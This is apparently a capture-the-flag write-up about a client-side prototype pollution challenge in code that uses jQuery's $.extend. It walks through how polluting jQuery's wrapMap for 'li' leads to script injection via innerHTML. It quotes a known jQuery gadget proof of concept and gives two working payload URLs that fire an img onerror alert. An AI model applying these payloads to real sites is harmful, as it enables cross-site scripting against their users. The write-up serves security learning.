challenge here https://msrkp.github.io/
code
<script src="https://code.jquery.com/jquery-1.12.4.js"></script>
<script>
var HoF = {0:"@st98_",1: "@SecurityMB",3:"@0xParrot",4:"@pgt_r2ursystem",5:"You ?"};
function escapeHTML(input){
return input.replace(/</g,'<').replace(/>/g,'>')
}
var params = new URLSearchParams(window.location.search);
var name = params.get('name');
var paramsJson = $.extend(true, HoF, JSON.parse(name));
$.each(paramsJson,function(key,value){
$(`<li id='name'>${escapeHTML(value)}</li>`).appendTo('#HoF')
});
</script>
The code is simple. $.extend
is used. So there is prototype pollution. We need to use it.
First, I thought the challenge is to use pp to bypass escapeHTML
. So I spend hours trying to figure out how do pp the function. But no luck. I even thought that I can use }
to pair with the ${
.
After some rest. I checked this git. https://github.com/BlackFan/client-side-prototype-pollution
Here we can find many poc about pp. Since the code here is jQuery, I’ll try to figure out how the payloads works.
I choose this one. https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md
<script src=https://code.jquery.com/jquery-3.5.1.js></script>
<script>
Object.prototype.url = ['data:,alert(1)//'];
Object.prototype.dataType = 'script';
</script>
<script>
$.get('https://google.com/');
$.post('https://google.com/');
</script>
After debugging it, I know that we need to pp jquery functions. So my thoughts were wrong. So I try to debug again. Line by line. Try to find out what to pp.
in function buildFragment
,
} else {
tmp = tmp || safe.appendChild( context.createElement( "div" ) );
// Deserialize a standard representation
tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase();
wrap = wrapMap[ tag ] || wrapMap._default;
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
We can pp wrapMap. So our evil code can be injected into tmp.
tag
is li
, li
not in wrapMap
. So after our pp, wrapMap['li']
is what we control.
Then we can control wrap[1]
. Then tmp.innerHTML
. In the end, we get the alert.
https://msrkp.github.io/?name={ %22__proto__%22:{ %22li%22:{ %221%22:%22%3Cimg%20src%20onerror=alert(1337)%3E%22}},%22length%22:1}
And this one.
https://msrkp.github.io/?name={ %22__proto__%22:{ %22li%22:{ %222%22:%22%3Cimg%20src%20onerror=alert(1337)%3E%22}},%22length%22:1}
strip the space.